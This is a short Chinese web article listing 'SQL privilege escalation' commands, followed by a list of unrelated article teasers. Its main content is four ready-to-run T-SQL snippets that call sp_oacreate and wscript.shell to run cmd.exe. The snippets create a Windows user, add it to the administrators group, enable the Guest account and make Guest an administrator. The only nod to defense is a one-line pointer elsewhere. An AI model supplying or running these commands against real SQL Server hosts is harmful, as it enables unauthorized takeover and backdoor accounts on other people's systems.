SQL 提权 常用命令
发布时间：2024-01-23 03:21:45
1、连接数据库
driver={SQL Server};server=服务器IP;uid=用户名;pwd=密码;database=数据库名
2、添加新用户
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
3、把用户加到管理组
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
4、激活GUEST用户
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user guest /active:yes'
5、把Guest加到管理组
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup Administrators Guest /add'
关于防范方法，可以参考脚本之家服务器安全设置栏目。
0
投稿猜你喜欢
- bootstrap里面有个激活按钮的时候，按钮变成不可用的；按照官网里面的方法介绍是在button按钮加个 data-loading-tex
对于爬虫中部分网站设置了请求次数过多后会封杀ip，现在模拟浏览器进行爬虫，也就是说让服务器认识到访问他的是真正的浏览器而不是机器操作简单的直- 中文繁体、简体的差异，在NPL中类似英文中的大小写，但又比大小写更为复杂，比如同样为繁体字，大陆、香港和台湾又不一样。先前写过一篇中文繁简转
- 这是我的xml文件结构<?xml version='1.0' encoding='utf-8'?>
- 在开发C/S结构的大型数据库应用软件时，一般情况下，软件开发人员和数据库设计人员并不是同一个人，这就需要协商好一些即可由程序设
- 一、连接MYSQL格式： mysql -h主机地址 -u用户名 -p用户密码1、 连接到本机上的MYSQL。首先打开DOS窗口，然后进入目录
- 代码如下:--代码一DECLARE @cc INT SELECT NewsId,ROW_NUMBER() OVER(ORDER
- 很多网友在浏览网页时应该会发现很多网页有显示时间和日期的功能，这个不难，使用可视化网页制作软件Drea
- 为什么要用flash呢？动画流畅，视觉效果好缓存能力强那使用flash有什么问题呢？需要Flash播放器在M$的补丁打遍天下之前IE有那神奇
- 百度有啊2009年情人节logo——大纸袋GG给大纸袋MM送了枝玫瑰花，大纸袋MM奖励了大纸袋GG一个吻，好可爱！淘宝网2009年情人节lo
- Go语言也称 Golang，兼具效率、性能、安全、健壮等特性。Go语言从底层原生支持并发，无须第三方库、开发者的编程技巧和开发经验就可以轻松
- 排序算法是《数据结构与算法》中最基本的算法之一，也是面试必背题，为方便技术交流，文末创建技术交流群。排序算法可以分为内部排序和外部排序，内部
- mysql mysqldump 只导出表结构 不导出数据mysqldump --opt -d 数据库名 -u root -p > xx
- 环境安装安装Anaconda，官网链接Anaconda使用conda创建py3.6的虚拟环境，并激活使用conda create -n py
- 引言项目中有一个需求：需要根据学期时间动态的计算出该学期有多少周通过上网查找，找到了一个工具类moment.jsmoment.js是一个Ja
- 为什么要做接口自动化框架1、业务与配置的分离2、数据与程序的分离；数据的变更不影响程序3、有日志功能，实现无人值守4、自动发送测试报告5、不
- 一.Sobel算子Sobel算子是一种用于边缘检测的离散微分算子，它结合了高斯平滑和微分求导。该算子用于计算图像明暗程度近似值，根据图像边缘
- 前言：散点图，又称散点分布图，是使用多个坐标点的分布反映数据点分布规律、数据关联关系的图表，Matplotlib 中可以通过以下方式绘制散点
- 下面展示了图像的加密和解密过程（左边是输入图像，中间是加密后的结果，右边是解密后的图像）：1、加密算法要求（1）加密算法必须是可逆的，拥有配
- 这篇文章主要介绍了Python SSL证书验证问题解决方案,文中通过示例代码介绍的非常详细，对大家的学习或者工作具有一定的参考学习价值,需要
